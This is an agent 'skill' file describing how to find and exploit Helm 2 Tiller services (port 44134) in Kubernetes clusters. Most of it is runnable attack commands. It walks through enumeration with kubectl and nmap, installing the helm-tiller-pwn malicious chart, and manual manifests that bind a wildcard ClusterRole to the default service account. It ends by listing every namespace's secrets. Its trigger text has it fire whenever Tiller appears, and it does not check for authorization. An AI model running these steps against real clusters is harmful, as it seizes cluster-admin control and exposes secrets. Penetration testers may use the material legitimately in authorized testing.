kubernetes-tiller-pentest

name

kubernetes-tiller-pentest

description

How to enumerate and exploit Tiller/Helm services (port 44134) in Kubernetes clusters for privilege escalation. Use this skill whenever you're pentesting a Kubernetes cluster, find port 44134 open, discover Tiller services, or need to escalate privileges through Helm. Trigger this when you see 'tiller' in pod/service names, port 44134 in nmap scans, or when you have kubectl access and want to check for Tiller vulnerabilities.

Kubernetes Tiller/Helm Pentesting

This skill helps you enumerate and exploit Tiller/Helm services running on port 44134 in Kubernetes clusters. Tiller is the server-side component of Helm 2 that often runs with excessive privileges, making it a prime target for privilege escalation.

When to Use This Skill

• You've discovered port 44134 open on a target
• You have kubectl access and want to check for Tiller services
• You're pentesting a Kubernetes cluster and need to enumerate package management services
• You've found pods or services with "tiller" in their name
• You need to escalate privileges in a Kubernetes environment

Quick Start

If you already have kubectl access and want to quickly check for Tiller:

# Run the enumeration script
./scripts/enumerate-tiller.sh

Step 1: Enumerate Tiller Services

Using kubectl (if you have cluster access)

Search for Tiller pods and services across namespaces:

# Check default namespace
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"

# Check kube-system namespace (most common location)
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"

# Check all namespaces
kubectl get pods --all-namespaces | grep -i "tiller"
kubectl get services --all-namespaces | grep -i "tiller"

# Or check a specific namespace
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

What to look for:

• Pods named like tiller-deploy-<hash>
• Services named tiller-deploy on port 44134/TCP
• The service is typically in the kube-system namespace

Using nmap (if you have network access)

# Scan for Tiller port
sudo nmap -sS -p 44134 <target-ip>

# Full scan if you suspect Tiller
sudo nmap -sS -p 44134 -sV <target-ip>

Step 2: Install Helm Client

Once you've discovered Tiller, you need the Helm client to communicate with it:

Using Homebrew (macOS)

brew install helm

Using Official Releases

Download from: https://github.com/helm/helm/releases

Using Package Manager

# Ubuntu/Debian
curl https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-2 | bash

# Or download manually
wget https://get.helm.sh/helm-v2.16.1-linux-amd64.tar.gz
tar -zxvf helm-v2.16.1-linux-amd64.tar.gz
sudo mv linux-amd64/helm /usr/local/bin/

Note: Use Helm v2.x for Tiller compatibility. Helm v3 removed Tiller.

Step 3: Connect and Enumerate Tiller

Once Helm is installed, connect to the Tiller service:

# Check version (basic connectivity test)
helm --host <tiller-service>:44134 version

# Example with kube-system namespace
helm --host tiller-deploy.kube-system:44134 version

# List installed charts
helm --host <tiller-service>:44134 list

# Get history of a release
helm --host <tiller-service>:44134 history <release-name>

Step 4: Privilege Escalation

Critical: Tiller in Helm 2 was typically installed with cluster-admin privileges by default. If you can connect to it, you can likely escalate to full cluster control.

Using helm-tiller-pwn

This exploit grants the default service account full cluster access:

# Clone the exploit
git clone https://github.com/Ruil1n/helm-tiller-pwn
cd helm-tiller-pwn

# Install the malicious chart
helm --host tiller-deploy.kube-system:44134 install --name pwnchart ./helm-tiller-pwn

# Execute the privilege escalation
./pwnchart

How It Works

The exploit creates:

1. ClusterRole with full permissions (see clusterrole.yaml)
2. ClusterRoleBinding that binds these permissions to the default service account (see clusterrolebinding.yaml)

After running, your current kubectl context will have cluster-admin privileges.

Manual Alternative

If you prefer to understand and execute manually:

# Create a ClusterRole with full permissions
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: cluster-admin-full
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF

# Bind it to your service account
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: default-cluster-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin-full
subjects:
- kind: ServiceAccount
  name: default
  namespace: <your-namespace>
EOF

Verification

After privilege escalation, verify you have cluster-admin access:

# Check your RBAC permissions
kubectl auth can-i --list

# Try to access all namespaces
kubectl get pods --all-namespaces

# Access secrets (if you have them)
kubectl get secrets --all-namespaces

Important Notes

1. Helm 2 vs Helm 3: This only works with Helm 2. Helm 3 removed Tiller entirely.
2. Namespace matters: Tiller is typically in kube-system but check all namespaces.
3. Service account: The exploit works by elevating the default service account.
4. Cleanup: After exploitation, you may want to remove the malicious chart: helm delete pwnchart

References

• helm-tiller-pwn GitHub
• Attack Explanation (Chinese)
• Helm v2 Documentation
• Helm Releases